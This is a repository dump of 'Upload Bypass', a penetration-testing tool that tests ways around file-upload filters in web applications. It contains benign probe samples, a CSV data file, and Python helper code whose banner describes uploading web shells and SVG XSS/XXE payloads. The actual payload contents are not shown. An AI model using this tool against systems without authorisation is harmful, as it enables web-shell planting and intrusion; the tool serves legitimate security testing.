--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/assets/samples/polyglot_sample.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sAjibuu/Upload_Bypass/ec90bc074292a448814624905b2f27dc2ad1888c/assets/samples/polyglot_sample.php
--------------------------------------------------------------------------------
/assets/samples/polyglot_shell.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sAjibuu/Upload_Bypass/ec90bc074292a448814624905b2f27dc2ad1888c/assets/samples/polyglot_shell.php
--------------------------------------------------------------------------------
/assets/samples/sample.asp:
--------------------------------------------------------------------------------
1 | <% Response.Write("Is this message being rendered?") %>
--------------------------------------------------------------------------------
/assets/samples/sample.cfm:
--------------------------------------------------------------------------------
1 |
2 | Is this message being rendered?
3 |
--------------------------------------------------------------------------------
/assets/samples/sample.csv:
--------------------------------------------------------------------------------
1 | "Game Number", "Game Length"
2 | 1, 30
3 | 2, 29
4 | 3, 31
5 | 4, 16
6 | 5, 24
7 | 6, 29
8 | 7, 28
9 | 8, 117
10 | 9, 42
11 | 10, 23
12 | 11, 40
13 | 12, 15
14 | 13, 18
15 | 14, 51
16 | 15, 15
17 | 16, 19
18 | 17, 30
19 | 18, 25
20 | 19, 17
21 | 20, 55
22 | 21, 20
23 | 22, 12
24 | 23, 39
25 | 24, 25
26 | 25, 56
27 | 26, 61
28 | 27, 77
29 | 28, 34
30 | 29, 14
31 | 30, 8
32 | 31, 31
33 | 32, 34
34 | 33, 22
35 | 34, 12
36 | 35, 52
37 | 36, 50
38 | 37, 24
39 | 38, 20
40 | 39, 91
41 | 40, 33
42 | 41, 27
43 | 42, 25
44 | 43, 83
45 | 44, 12
46 | 45, 21
47 | 46, 38
48 | 47, 20
49 | 48, 24
50 | 49, 37
51 | 50, 18
52 | 51, 56
53 | 52, 20
54 | 53, 47
55 | 54, 51
56 | 55, 22
57 | 56, 46
58 | 57, 24
59 | 58, 35
60 | 59, 28
61 | 60, 12
62 | 61, 28
63 | 62, 43
64 | 63, 50
65 | 64, 37
66 | 65, 127
67 | 66, 11
68 | 67, 12
69 | 68, 22
70 | 69, 25
71 | 70, 57
72 | 71, 53
73 | 72, 38
74 | 73, 33
75 | 74, 16
76 | 75, 35
77 | 76, 29
78 | 77, 23
79 | 78, 21
80 | 79, 11
81 | 80, 31
82 | 81, 12
83 | 82, 37
84 | 83, 40
85 | 84, 29
86 | 85, 14
87 | 86, 15
88 | 87, 38
89 | 88, 74
90 | 89, 19
91 | 90, 121
92 | 91, 52
93 | 92, 25
94 | 93, 14
95 | 94, 12
96 | 95, 31
97 | 96, 25
98 | 97, 16
99 | 98, 19
100 | 99, 54
101 | 100, 24
102 | 101, 62
103 | 102, 27
104 | 103, 21
105 | 104, 30
106 | 105, 63
107 | 106, 14
108 | 107, 27
109 | 108, 46
110 | 109, 8
111 | 110, 19
112 | 111, 81
113 | 112, 136
114 | 113, 60
115 | 114, 44
116 | 115, 44
117 | 116, 115
118 | 117, 28
119 | 118, 15
120 | 119, 26
121 | 120, 31
122 | 121, 46
123 | 122, 29
124 | 123, 22
125 | 124, 25
126 | 125, 37
127 | 126, 78
128 | 127, 11
129 | 128, 17
130 | 129, 20
131 | 130, 38
132 | 131, 30
133 | 132, 51
134 | 133, 42
135 | 134, 64
136 | 135, 37
137 | 136, 32
138 | 137, 32
139 | 138, 35
140 | 139, 34
141 | 140, 36
142 | 141, 55
143 | 142, 35
144 | 143, 13
145 | 144, 109
146 | 145, 39
147 | 146, 39
148 | 147, 69
149 | 148, 28
150 | 149, 13
151 | 150, 16
152 | 151, 23
153 | 152, 14
154 | 153, 116
155 | 154, 36
156 | 155, 41
157 | 156, 40
158 | 157, 31
159 | 158, 39
160 | 159, 21
161 | 160, 34
162 | 161, 11
163 | 162, 46
164 | 163, 27
165 | 164, 10
166 | 165, 47
167 | 166, 12
168 | 167, 42
169 | 168, 34
170 | 169, 16
171 | 170, 19
172 | 171, 100
173 | 172, 34
174 | 173, 20
175 | 174, 23
176 | 175, 29
177 | 176, 32
178 | 177, 81
179 | 178, 15
180 | 179, 50
181 | 180, 67
182 | 181, 76
183 | 182, 30
184 | 183, 16
185 | 184, 20
186 | 185, 37
187 | 186, 23
188 | 187, 18
189 | 188, 47
190 | 189, 13
191 | 190, 24
192 | 191, 8
193 | 192, 16
194 | 193, 24
195 | 194, 26
196 | 195, 35
197 | 196, 14
198 | 197, 11
199 | 198, 43
200 | 199, 48
201 | 200, 19
202 | 201, 40
203 | 202, 197
204 | 203, 33
205 | 204, 41
206 | 205, 28
207 | 206, 25
208 | 207, 17
209 | 208, 62
210 | 209, 17
211 | 210, 71
212 | 211, 30
213 | 212, 41
214 | 213, 17
215 | 214, 51
216 | 215, 9
217 | 216, 33
218 | 217, 47
219 | 218, 13
220 | 219, 59
221 | 220, 17
222 | 221, 9
223 | 222, 51
224 | 223, 26
225 | 224, 39
226 | 225, 39
227 | 226, 35
228 | 227, 18
229 | 228, 45
230 | 229, 36
231 | 230, 34
232 | 231, 30
233 | 232, 34
234 | 233, 36
235 | 234, 14
236 | 235, 7
237 | 236, 28
238 | 237, 34
239 | 238, 49
240 | 239, 95
241 | 240, 66
242 | 241, 36
243 | 242, 32
244 | 243, 25
245 | 244, 25
246 | 245, 30
247 | 246, 15
248 | 247, 12
249 | 248, 40
250 | 249, 32
251 | 250, 26
252 | 251, 18
253 | 252, 60
254 | 253, 21
255 | 254, 79
256 | 255, 17
257 | 256, 42
258 | 257, 40
259 | 258, 23
260 | 259, 39
261 | 260, 58
262 | 261, 19
263 | 262, 45
264 | 263, 17
265 | 264, 66
266 | 265, 31
267 | 266, 25
268 | 267, 38
269 | 268, 16
270 | 269, 36
271 | 270, 20
272 | 271, 29
273 | 272, 26
274 | 273, 32
275 | 274, 22
276 | 275, 11
277 | 276, 60
278 | 277, 133
279 | 278, 46
280 | 279, 13
281 | 280, 20
282 | 281, 34
283 | 282, 20
284 | 283, 79
285 | 284, 44
286 | 285, 9
287 | 286, 63
288 | 287, 65
289 | 288, 43
290 | 289, 19
291 | 290, 68
292 | 291, 20
293 | 292, 24
294 | 293, 12
295 | 294, 83
296 | 295, 20
297 | 296, 33
298 | 297, 15
299 | 298, 29
300 | 299, 19
301 | 300, 63
302 | 301, 31
303 | 302, 47
304 | 303, 20
305 | 304, 45
306 | 305, 10
307 | 306, 13
308 | 307, 10
309 | 308, 23
310 | 309, 8
311 | 310, 84
312 | 311, 38
313 | 312, 22
314 | 313, 43
315 | 314, 25
316 | 315, 32
317 | 316, 29
318 | 317, 20
319 | 318, 26
320 | 319, 26
321 | 320, 40
322 | 321, 129
323 | 322, 45
324 | 323, 23
325 | 324, 67
326 | 325, 49
327 | 326, 90
328 | 327, 17
329 | 328, 76
330 | 329, 27
331 | 330, 136
332 | 331, 33
333 | 332, 21
334 | 333, 18
335 | 334, 14
336 | 335, 24
337 | 336, 14
338 | 337, 30
339 | 338, 26
340 | 339, 26
341 | 340, 29
342 | 341, 18
343 | 342, 53
344 | 343, 47
345 | 344, 93
346 | 345, 47
347 | 346, 9
348 | 347, 56
349 | 348, 60
350 | 349, 12
351 | 350, 69
352 | 351, 18
353 | 352, 38
354 | 353, 38
355 | 354, 27
356 | 355, 42
357 | 356, 61
358 | 357, 33
359 | 358, 39
360 | 359, 47
361 | 360, 13
362 | 361, 27
363 | 362, 17
364 | 363, 99
365 | 364, 44
366 | 365, 42
367 | 366, 43
368 | 367, 24
369 | 368, 29
370 | 369, 48
371 | 370, 34
372 | 371, 43
373 | 372, 52
374 | 373, 10
375 | 374, 28
376 | 375, 41
377 | 376, 87
378 | 377, 9
379 | 378, 22
380 | 379, 60
381 | 380, 19
382 | 381, 33
383 | 382, 35
384 | 383, 26
385 | 384, 22
386 | 385, 24
387 | 386, 68
388 | 387, 23
389 | 388, 19
390 | 389, 32
391 | 390, 32
392 | 391, 23
393 | 392, 22
394 | 393, 23
395 | 394, 49
396 | 395, 20
397 | 396, 11
398 | 397, 64
399 | 398, 24
400 | 399, 29
401 | 400, 47
402 | 401, 20
403 | 402, 13
404 | 403, 15
405 | 404, 34
406 | 405, 89
407 | 406, 81
408 | 407, 22
409 | 408, 79
410 | 409, 37
411 | 410, 18
412 | 411, 26
413 | 412, 35
414 | 413, 26
415 | 414, 13
416 | 415, 25
417 | 416, 118
418 | 417, 13
419 | 418, 23
420 | 419, 14
421 | 420, 12
422 | 421, 17
423 | 422, 16
424 | 423, 35
425 | 424, 19
426 | 425, 114
427 | 426, 97
428 | 427, 24
429 | 428, 71
430 | 429, 17
431 | 430, 22
432 | 431, 25
433 | 432, 36
434 | 433, 53
435 | 434, 51
436 | 435, 14
437 | 436, 48
438 | 437, 45
439 | 438, 25
440 | 439, 18
441 | 440, 17
442 | 441, 16
443 | 442, 83
444 | 443, 22
445 | 444, 16
446 | 445, 47
447 | 446, 25
448 | 447, 48
449 | 448, 15
450 | 449, 57
451 | 450, 14
452 | 451, 24
453 | 452, 38
454 | 453, 100
455 | 454, 34
456 | 455, 37
457 | 456, 59
458 | 457, 24
459 | 458, 16
460 | 459, 55
461 | 460, 36
462 | 461, 28
463 | 462, 33
464 | 463, 65
465 | 464, 12
466 | 465, 14
467 | 466, 32
468 | 467, 15
469 | 468, 28
470 | 469, 21
471 | 470, 84
472 | 471, 46
473 | 472, 35
474 | 473, 31
475 | 474, 16
476 | 475, 26
477 | 476, 16
478 | 477, 14
479 | 478, 29
480 | 479, 9
481 | 480, 29
482 | 481, 35
483 | 482, 47
484 | 483, 30
485 | 484, 13
486 | 485, 23
487 | 486, 16
488 | 487, 30
489 | 488, 23
490 | 489, 27
491 | 490, 13
492 | 491, 37
493 | 492, 26
494 | 493, 17
495 | 494, 56
496 | 495, 73
497 | 496, 144
498 | 497, 40
499 | 498, 21
500 | 499, 47
501 | 500, 39
502 | 501, 16
503 | 502, 37
504 | 503, 12
505 | 504, 17
506 | 505, 13
507 | 506, 12
508 | 507, 48
509 | 508, 73
510 | 509, 41
511 | 510, 50
512 | 511, 10
513 | 512, 65
514 | 513, 58
515 | 514, 13
516 | 515, 18
517 | 516, 22
518 | 517, 10
519 | 518, 11
520 | 519, 31
521 | 520, 27
522 | 521, 77
523 | 522, 21
524 | 523, 30
525 | 524, 16
526 | 525, 15
527 | 526, 18
528 | 527, 47
529 | 528, 56
530 | 529, 95
531 | 530, 33
532 | 531, 42
533 | 532, 51
534 | 533, 13
535 | 534, 29
536 | 535, 53
537 | 536, 41
538 | 537, 30
539 | 538, 16
540 | 539, 24
541 | 540, 16
542 | 541, 70
543 | 542, 28
544 | 543, 24
545 | 544, 45
546 | 545, 47
547 | 546, 64
548 | 547, 8
549 | 548, 23
550 | 549, 16
551 | 550, 54
552 | 551, 11
553 | 552, 92
554 | 553, 11
555 | 554, 64
556 | 555, 11
557 | 556, 58
558 | 557, 35
559 | 558, 19
560 | 559, 30
561 | 560, 23
562 | 561, 157
563 | 562, 40
564 | 563, 19
565 | 564, 15
566 | 565, 39
567 | 566, 77
568 | 567, 30
569 | 568, 13
570 | 569, 11
571 | 570, 18
572 | 571, 42
573 | 572, 27
574 | 573, 16
575 | 574, 35
576 | 575, 37
577 | 576, 72
578 | 577, 31
579 | 578, 20
580 | 579, 36
581 | 580, 40
582 | 581, 23
583 | 582, 7
584 | 583, 20
585 | 584, 46
586 | 585, 103
587 | 586, 90
588 | 587, 15
589 | 588, 63
590 | 589, 86
591 | 590, 18
592 | 591, 13
593 | 592, 20
594 | 593, 15
595 | 594, 8
596 | 595, 39
597 | 596, 54
598 | 597, 52
599 | 598, 36
600 | 599, 9
601 | 600, 41
602 | 601, 14
603 | 602, 66
604 | 603, 34
605 | 604, 13
606 | 605, 19
607 | 606, 12
608 | 607, 35
609 | 608, 37
610 | 609, 46
611 | 610, 25
612 | 611, 53
613 | 612, 30
614 | 613, 27
615 | 614, 30
616 | 615, 28
617 | 616, 91
618 | 617, 18
619 | 618, 19
620 | 619, 32
621 | 620, 24
622 | 621, 52
623 | 622, 18
624 | 623, 88
625 | 624, 38
626 | 625, 25
627 | 626, 20
628 | 627, 51
629 | 628, 25
630 | 629, 44
631 | 630, 14
632 | 631, 17
633 | 632, 54
634 | 633, 35
635 | 634, 40
636 | 635, 59
637 | 636, 34
638 | 637, 30
639 | 638, 30
640 | 639, 33
641 | 640, 60
642 | 641, 46
643 | 642, 26
644 | 643, 61
645 | 644, 45
646 | 645, 35
647 | 646, 33
648 | 647, 18
649 | 648, 31
650 | 649, 44
651 | 650, 24
652 | 651, 12
653 | 652, 15
654 | 653, 60
655 | 654, 24
656 | 655, 13
657 | 656, 40
658 | 657, 44
659 | 658, 17
660 | 659, 14
661 | 660, 19
662 | 661, 16
663 | 662, 40
664 | 663, 96
665 | 664, 23
666 | 665, 35
667 | 666, 33
668 | 667, 45
669 | 668, 18
670 | 669, 33
671 | 670, 15
672 | 671, 43
673 | 672, 19
674 | 673, 36
675 | 674, 28
676 | 675, 32
677 | 676, 9
678 | 677, 34
679 | 678, 8
680 | 679, 21
681 | 680, 26
682 | 681, 13
683 | 682, 34
684 | 683, 15
685 | 684, 32
686 | 685, 30
687 | 686, 21
688 | 687, 28
689 | 688, 28
690 | 689, 37
691 | 690, 10
692 | 691, 28
693 | 692, 38
694 | 693, 18
695 | 694, 23
696 | 695, 46
697 | 696, 30
698 | 697, 31
699 | 698, 34
700 | 699, 26
701 | 700, 13
702 | 701, 36
703 | 702, 11
704 | 703, 48
705 | 704, 24
706 | 705, 48
707 | 706, 18
708 | 707, 152
709 | 708, 13
710 | 709, 106
711 | 710, 19
712 | 711, 12
713 | 712, 20
714 | 713, 12
715 | 714, 39
716 | 715, 20
717 | 716, 20
718 | 717, 52
719 | 718, 77
720 | 719, 37
721 | 720, 79
722 | 721, 14
723 | 722, 23
724 | 723, 32
725 | 724, 56
726 | 725, 83
727 | 726, 47
728 | 727, 17
729 | 728, 12
730 | 729, 22
731 | 730, 27
732 | 731, 47
733 | 732, 25
734 | 733, 33
735 | 734, 30
736 | 735, 19
737 | 736, 36
738 | 737, 75
739 | 738, 20
740 | 739, 57
741 | 740, 12
742 | 741, 76
743 | 742, 30
744 | 743, 35
745 | 744, 77
746 | 745, 10
747 | 746, 73
748 | 747, 13
749 | 748, 39
750 | 749, 34
751 | 750, 31
752 | 751, 13
753 | 752, 14
754 | 753, 10
755 | 754, 45
756 | 755, 55
757 | 756, 29
758 | 757, 25
759 | 758, 47
760 | 759, 95
761 | 760, 13
762 | 761, 54
763 | 762, 17
764 | 763, 35
765 | 764, 74
766 | 765, 60
767 | 766, 14
768 | 767, 50
769 | 768, 30
770 | 769, 55
771 | 770, 22
772 | 771, 43
773 | 772, 92
774 | 773, 35
775 | 774, 47
776 | 775, 12
777 | 776, 51
778 | 777, 12
779 | 778, 93
780 | 779, 41
781 | 780, 47
782 | 781, 69
783 | 782, 36
784 | 783, 38
785 | 784, 32
786 | 785, 52
787 | 786, 13
788 | 787, 20
789 | 788, 48
790 | 789, 52
791 | 790, 33
792 | 791, 39
793 | 792, 56
794 | 793, 20
795 | 794, 41
796 | 795, 16
797 | 796, 70
798 | 797, 57
799 | 798, 85
800 | 799, 23
801 | 800, 17
802 | 801, 30
803 | 802, 33
804 | 803, 11
805 | 804, 26
806 | 805, 50
807 | 806, 40
808 | 807, 20
809 | 808, 68
810 | 809, 12
811 | 810, 75
812 | 811, 14
813 | 812, 36
814 | 813, 35
815 | 814, 39
816 | 815, 30
817 | 816, 13
818 | 817, 62
819 | 818, 23
820 | 819, 26
821 | 820, 56
822 | 821, 30
823 | 822, 40
824 | 823, 12
825 | 824, 23
826 | 825, 30
827 | 826, 17
828 | 827, 19
829 | 828, 17
830 | 829, 19
831 | 830, 45
832 | 831, 14
833 | 832, 60
834 | 833, 49
835 | 834, 32
836 | 835, 12
837 | 836, 44
838 | 837, 43
839 | 838, 21
840 | 839, 9
841 | 840, 12
842 | 841, 16
843 | 842, 14
844 | 843, 17
845 | 844, 18
846 | 845, 29
847 | 846, 56
848 | 847, 34
849 | 848, 24
850 | 849, 58
851 | 850, 27
852 | 851, 12
853 | 852, 23
854 | 853, 75
855 | 854, 15
856 | 855, 20
857 | 856, 31
858 | 857, 51
859 | 858, 10
860 | 859, 70
861 | 860, 70
862 | 861, 71
863 | 862, 53
864 | 863, 35
865 | 864, 12
866 | 865, 23
867 | 866, 26
868 | 867, 25
869 | 868, 48
870 | 869, 45
871 | 870, 36
872 | 871, 38
873 | 872, 27
874 | 873, 29
875 | 874, 55
876 | 875, 34
877 | 876, 38
878 | 877, 17
879 | 878, 43
880 | 879, 32
881 | 880, 40
882 | 881, 27
883 | 882, 8
884 | 883, 24
885 | 884, 18
886 | 885, 29
887 | 886, 11
888 | 887, 23
889 | 888, 30
890 | 889, 64
891 | 890, 65
892 | 891, 19
893 | 892, 52
894 | 893, 8
895 | 894, 29
896 | 895, 48
897 | 896, 67
898 | 897, 18
899 | 898, 18
900 | 899, 11
901 | 900, 53
902 | 901, 87
903 | 902, 24
904 | 903, 25
905 | 904, 27
906 | 905, 14
907 | 906, 80
908 | 907, 17
909 | 908, 32
910 | 909, 16
911 | 910, 32
912 | 911, 11
913 | 912, 27
914 | 913, 15
915 | 914, 9
916 | 915, 25
917 | 916, 48
918 | 917, 18
919 | 918, 38
920 | 919, 20
921 | 920, 27
922 | 921, 23
923 | 922, 19
924 | 923, 21
925 | 924, 21
926 | 925, 18
927 | 926, 49
928 | 927, 9
929 | 928, 58
930 | 929, 24
931 | 930, 18
932 | 931, 17
933 | 932, 25
934 | 933, 87
935 | 934, 31
936 | 935, 14
937 | 936, 39
938 | 937, 16
939 | 938, 29
940 | 939, 10
941 | 940, 14
942 | 941, 14
943 | 942, 12
944 | 943, 34
945 | 944, 26
946 | 945, 53
947 | 946, 55
948 | 947, 41
949 | 948, 55
950 | 949, 29
951 | 950, 26
952 | 951, 12
953 | 952, 46
954 | 953, 32
955 | 954, 62
956 | 955, 52
957 | 956, 78
958 | 957, 37
959 | 958, 91
960 | 959, 119
961 | 960, 28
962 | 961, 30
963 | 962, 31
964 | 963, 66
965 | 964, 32
966 | 965, 26
967 | 966, 22
968 | 967, 20
969 | 968, 22
970 | 969, 37
971 | 970, 22
972 | 971, 73
973 | 972, 33
974 | 973, 52
975 | 974, 44
976 | 975, 9
977 | 976, 31
978 | 977, 17
979 | 978, 22
980 | 979, 20
981 | 980, 20
982 | 981, 22
983 | 982, 49
984 | 983, 8
985 | 984, 65
986 | 985, 22
987 | 986, 38
988 | 987, 29
989 | 988, 8
990 | 989, 44
991 | 990, 25
992 | 991, 24
993 | 992, 27
994 | 993, 28
995 | 994, 32
996 | 995, 93
997 | 996, 24
998 | 997, 21
999 | 998, 47
1000 | 999, 30
1001 | 1000, 12
1002 |
--------------------------------------------------------------------------------
/assets/samples/sample.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sAjibuu/Upload_Bypass/ec90bc074292a448814624905b2f27dc2ad1888c/assets/samples/sample.gif
--------------------------------------------------------------------------------
/assets/samples/sample.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sAjibuu/Upload_Bypass/ec90bc074292a448814624905b2f27dc2ad1888c/assets/samples/sample.jpeg
--------------------------------------------------------------------------------
/assets/samples/sample.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sAjibuu/Upload_Bypass/ec90bc074292a448814624905b2f27dc2ad1888c/assets/samples/sample.jpg
--------------------------------------------------------------------------------
/assets/samples/sample.jsp:
--------------------------------------------------------------------------------
1 | <% out.print("Is this message being rendered?"); %>
--------------------------------------------------------------------------------
/assets/samples/sample.mp3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sAjibuu/Upload_Bypass/ec90bc074292a448814624905b2f27dc2ad1888c/assets/samples/sample.mp3
--------------------------------------------------------------------------------
/assets/samples/sample.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sAjibuu/Upload_Bypass/ec90bc074292a448814624905b2f27dc2ad1888c/assets/samples/sample.mp4
--------------------------------------------------------------------------------
/assets/samples/sample.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sAjibuu/Upload_Bypass/ec90bc074292a448814624905b2f27dc2ad1888c/assets/samples/sample.pdf
--------------------------------------------------------------------------------
/assets/samples/sample.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/assets/samples/sample.pl:
--------------------------------------------------------------------------------
1 | print "Is this message being rendered?";
--------------------------------------------------------------------------------
/assets/samples/sample.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sAjibuu/Upload_Bypass/ec90bc074292a448814624905b2f27dc2ad1888c/assets/samples/sample.png
--------------------------------------------------------------------------------
/assets/samples/sample.txt:
--------------------------------------------------------------------------------
1 | sample file
--------------------------------------------------------------------------------
/assets/samples/sample.xlsx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sAjibuu/Upload_Bypass/ec90bc074292a448814624905b2f27dc2ad1888c/assets/samples/sample.xlsx
--------------------------------------------------------------------------------
/assets/samples/sample.xml:
--------------------------------------------------------------------------------
1 |
2 | Tove
3 | Jani
4 | Reminder
5 | Don't forget me this weekend!
6 |
7 |
--------------------------------------------------------------------------------
/assets/samples/svg_xss.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
7 |
--------------------------------------------------------------------------------
/assets/samples/svg_xxe.svg:
--------------------------------------------------------------------------------
1 |
2 | ]>
3 |
--------------------------------------------------------------------------------
/config/version.json:
--------------------------------------------------------------------------------
1 | {
2 | "current_version": "v3.0.9#dev",
3 | "latest_version": "v3.0.8#dev"
4 | }
--------------------------------------------------------------------------------
/lib/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sAjibuu/Upload_Bypass/ec90bc074292a448814624905b2f27dc2ad1888c/lib/__init__.py
--------------------------------------------------------------------------------
/lib/alerts.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from .ansi_colors import *
4 | from datetime import datetime
5 |
6 | # Defining warning messages
7 | def warning(message):
8 | print("")
9 | print(f"{yellow}[!]{reset} {message}")
10 |
11 | # Defining success messages
12 | def success(message):
13 | print("")
14 | print(f"{green}[+]{reset} {message}")
15 |
16 | # Defining info messages
17 | def info(message):
18 | print("")
19 | print(f"{blue}[i]{reset} {message}")
20 |
21 | # Defining error messages
22 | def error(message):
23 | print("")
24 | print(f"{red}[-]{reset} {message}")
25 | exit(1)
26 |
27 | # Defining try messages
28 | def upload(message):
29 | current_time = datetime.now().strftime("%H:%M:%S")
30 | print(f"{turquoise}[{current_time}]{reset} {message}")
31 |
--------------------------------------------------------------------------------
/lib/ansi_colors.py:
--------------------------------------------------------------------------------
1 | # Set of colors
2 | red = '\u001b[31;1m'
3 | reset = '\033[0m'
4 | yellow = '\u001b[33;1m'
5 | blue = '\u001b[34;1m'
6 | green = '\033[1;32m'
7 | white = '\u001b[37;1m'
8 | red_italic = '\x1b[31;3;1m'
9 | cyan = "\033[36m"
10 | bright_yellow = "\033[94m"
11 | navy_blue = "\033[34m"
12 | lime_green = "\033[92m"
13 | bold_green = "\033[1;32m"
14 | muted_blue = "\033[94m"
15 | turquoise = "\033[96m"
16 |
17 |
--------------------------------------------------------------------------------
/lib/banner.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from lib.update import get_current_version
4 |
5 | # \033[1m is for a bold text
6 | # \033[0m for a reset
7 | # \033[1m\033[4m is for a bold and underline text
8 |
9 | current_version = get_current_version()
10 |
11 | logo = rf"""
12 | _ _ _ _ ___
13 | | | | ___ | | ___ ___ _| | | . > _ _ ___ ___ ___ ___
14 | | ' || . \| |/ . \<_> |/ . | | . \| | || . \<_> |<_-<<_-<
15 | `___'| _/|_|\___/<___|\___| |___/`_. || _/<___|/__//__/
16 | |_| <___'|_| {current_version}
17 | """
18 |
19 | def banner():
20 | tool_banner = f"""\033[1m{logo}\033[0m
21 | A Simple Tool for bypassing upload restriction in web applications by Sagiv Michael.
22 |
23 | \033[1mImportant to know:\033[0m
24 | • The program only works with request files generated by proxy tools, such as Burp Suite and ZAP OWASP.
25 | • The program works by default on the HTTPs protocol, it can be modified manually in the config.py located in the lib directory.
26 |
27 | Usage: Upload Bypass [OPTIONS]
28 |
29 | \033[1m\033[4mOptions:\033[0m
30 | \033[1m-h, --help\033[0m Print help (see more with '--help')
31 | \033[1m-U, --usage\033[0m Print the how to save the request file instructions.
32 | \033[1m-v, --version\033[0m Print version
33 |
34 | \033[1m\033[4mRequired Arguments:\033[0m
35 | \033[1m-r, --request_file\033[0m Provide a request file to be proccessed
36 | \033[1m-E, --extension\033[0m Forbidden extension to check (ex: php)
37 | \033[1m-A, --allowed\033[0m Allowed extension (ex: jpeg) - \033[1mOptional\033[0m - if not set the program will auto-detect the extension
38 |
39 | \033[1mChoose only one from the options below\033[0m:
40 | \033[1m-s, --success\033[0m Provide a success message when a file is uploaded (ex: File was uploaded successfully)
41 | \033[1m-f, --failure\033[0m Provide a failure message when a file is uploaded (ex: File is not allowed!)
42 | \033[1m-S, --status_code\033[0m Provide a status code for a success upload (ex: 200)
43 |
44 | \033[1m\033[4mMode Settings:\033[0m
45 | \033[1m-d, --detect\033[0m Upload harmless sample files (Suitable for a real penetration test)
46 | \033[1m-e, --exploit\033[0m Upload Web-Shells files when testing
47 | \033[1m-a, --anti_malware\033[0m Upload Anti-Malware Test file (Eicar) when testing
48 | \033[1mI.\033[0m If set with -E flag the program will test with the Eicar string along with the \033[1mchoosen\033[0m extension
49 | \033[1mII.\033[0m If set without the -E flag the program will test with Eicar string and a \033[1mcom\033[0m extension
50 |
51 | \033[1m\033[4mModules Settings:\033[0m
52 | \033[1m-l, --list\033[0m List all modules
53 | \033[1m-i, --include_only\033[0m Include only modules to test from (ex: extension_shuffle, double_extension)
54 | \033[1m-x, --exclude\033[0m Exclude modules (ex: svg_xxe, svg_xss)
55 |
56 | \033[1m\033[4mRequest Settings:\033[0m
57 | \033[1m--base64\033[0m Encode the file data with Base64 algorithm
58 | \033[1m--allow_redirects\033[0m Follow redirects
59 | \033[1m-P, --put\033[0m Use the HTTP PUT method for the requests (Default is POST)
60 | \033[1m-Pa, --patch\033[0m Use the HTTP Patch method for the requests (Default is POST)
61 | \033[1m-R, --response\033[0m Print the response to the screen
62 | \033[1m-c, --continue\033[0m Continue testing all files, even if a few uploads encountered success
63 | \033[1m-t, --time_out\033[0m Set the request timeout (Default is 8)
64 | \033[1m-rl, --rate_limit\033[0m Set a rate-limit with a delay in milliseconds between each request
65 |
66 | \033[1m\033[4mProxy Settings:\033[0m
67 | \033[1m-p, --proxy\033[0m Proxy to use for requests (ex: http(s)://host:port, socks5(h)://host:port)
68 | \033[1m-k, --insecure\033[0m Do not verify SSL certificates
69 | \033[1m--burp_http\033[0m Set --proxy to 127.0.0.1:8080 and set --insecure to true (For HTTP requests)
70 | \033[1m--burp_https\033[0m Set --proxy to 127.0.0.1:8080 and set --insecure to false (For HTTPs requests)
71 |
72 | \033[1m\033[4mOptional Settings:\033[0m
73 | \033[1m-D, --upload_dir\033[0m Provide a remote path where the Web-Shell should be uploaded (ex: /uploads)
74 | \033[1m-o, --output\033[0m Output file to write the results into - Default current directory (ex: ~/Desktop/results.txt)
75 | \033[1m--debug\033[0m Debug mode - Print the stack trace error to the screen and save it to a file (ex: --debug 1)
76 | \033[1mI.\033[0m Level 1 - Saves only the stack trace error (default).
77 | \033[1mII.\033[0m Level 2 - Saves the stack trace error and user's arguments along with the request file.
78 |
79 | \033[1m\033[4mResume settings:\033[0m
80 | \033[1m--resume\033[0m State file from which to resume a partially complete scan
81 |
82 | \033[1m\033[4mUpdate settings:\033[0m
83 | \033[1m-u, --update\033[0m Update the program to the latest version"""
84 | print(f"{tool_banner}")
85 |
86 |
87 | def program_usage():
88 | reuqest_file_usage = """\nThe program only works with request files generated by proxy tools, such as Burp Suite and ZAP OWASP.
89 |
90 | Before saving the request file from the proxy you are using, for example, Burp Suite, replace the the following parameter values with their coressponding markers:
91 |
92 | \033[1m\033[4mFile content\033[0m: *data*
93 |
94 | \033[1mExample:\033[0m Replace the image binary data with the string *data*
95 |
96 | \033[1m\033[4mFilename\033[0m: *filename*
97 |
98 | \033[1mExample:\033[0m Replace the filename including its extension with the string *filename*
99 |
100 | \033[1m\033[4mContent-Type header\033[0m: *mimetype*.
101 |
102 | \033[1mExample:\033[0m Replace the file's content-type (mimetype) with the string *mimetype*
103 |
104 | \033[1m\033[4mFor visual examples visit Upload Bypass README\033[0m:
105 |
106 | https://github.com/sAjibuu/Upload_Bypass/blob/main/README.md
107 | """
108 |
109 | return reuqest_file_usage
110 |
--------------------------------------------------------------------------------
/lib/capitalise_random.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import random
4 |
5 |
6 | # Function to return a string with a random capitalization
7 | def capitalise_random(string):
8 | characters = list(string)
9 | length = len(characters)
10 | index_to_capitalize = random.randint(0, length - 1)
11 | at_least_one_capitalized = False
12 | for i in range(length):
13 | if characters[i].isalpha():
14 | characters[i] = characters[i].upper() if i == index_to_capitalize or not at_least_one_capitalized else characters[i].lower()
15 | at_least_one_capitalized = True
16 | return ''.join(characters)
17 |
--------------------------------------------------------------------------------
/lib/config.py:
--------------------------------------------------------------------------------
1 | # Configure markers
2 | shell_path = "assets/shells/"
3 | filename_marker = "*filename*"
4 | data_marker = "*data*"
5 | mimetype_marker = "*mimetype*"
6 |
7 | # Configure HTTP Protocol
8 | protocol = 'https'
9 |
10 | # Configure modules name
11 | active_modules = [
12 | "polyglot",
13 | "extension_shuffle",
14 | "double_extension",
15 | "discrepancy",
16 | "forward_double_extension",
17 | "reverse_double_extension",
18 | "stripping_extension",
